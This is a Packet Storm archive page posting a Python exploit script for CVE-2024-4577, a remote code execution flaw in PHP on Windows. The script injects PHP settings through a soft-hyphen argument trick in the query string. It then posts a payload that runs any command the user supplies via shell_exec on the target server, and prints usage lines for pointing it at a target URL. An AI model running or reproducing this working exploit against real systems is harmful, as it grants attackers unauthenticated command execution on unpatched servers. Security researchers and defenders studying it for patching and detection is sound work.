what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Remote Code Execution

PHP Remote Code Execution
Posted Jun 14, 2024
Authored by Yesith Alvarez

PHP versions prior to 8.3.8 suffer from a remote code execution vulnerability.

tags | exploit, remote, php, code execution
advisories | CVE-2024-4577
SHA-256 | 6d8851066f1e1d5a5aa1172f697d6dfd3debd910db8f3f51cfdc80ab2a6cb6ae

PHP Remote Code Execution

Change Mirror Download
# Exploit Title: PHP Windows Remote Code Execution (Unauthenticated)
# Exploit Author: Yesith Alvarez
# Vendor Homepage: https://www.php.net/downloads.php
# Version: PHP 8.3,* < 8.3.8, 8.2.*<8.2.20, 8.1.*, 8.1.29
# CVE : CVE-2024-4577

from requests import Request, Session
import sys
import json



def title():
print('''

_______ ________ ___ ___ ___ _ _ _ _ _____ ______ ______
/ ____\ \ / / ____| |__ \ / _ \__ \| || | | || | | ____|____ |____ |
| | \ \ / /| |__ ______ ) | | | | ) | || |_ ______| || |_| |__ / / / /
| | \ \/ / | __|______/ /| | | |/ /|__ _|______|__ _|___ \ / / / /
| |____ \ / | |____ / /_| |_| / /_ | | | | ___) | / / / /
\_____| \/ |______| |____|\___/____| |_| |_| |____/ /_/ /_/


Author: Yesith Alvarez
Github: https://github.com/yealvarez
Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2024-4577/exploit.py
''')


def exploit(url, command):
payloads = {
'<?php echo "vulnerable"; ?>',
'<?php echo shell_exec("'+command+'"); ?>'
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
'Content-Type': 'application/x-www-form-urlencoded'}
s = Session()
for payload in payloads:
url = url + "/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
req = Request('POST', url, data=payload, headers=headers)
prepped = req.prepare()
del prepped.headers['Content-Type']
resp = s.send(prepped,
verify=False,
timeout=15)
#print(prepped.headers)
#print(url)
#print(resp.headers)
#print(payload)
print(resp.status_code)
print(resp.text)


if __name__ == '__main__':
title()
if(len(sys.argv) < 2):
print('[+] USAGE: python3 %s https://<target_url> <command>\n'%(sys.argv[0]))
print('[+] USAGE: python3 %s https://192.168.0.10\n dir'%(sys.argv[0]))
exit(0)
else:
exploit(sys.argv[1],sys.argv[2])



Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    13 Files
  • 27
    Jun 27th
    42 Files
  • 28
    Jun 28th
    9 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close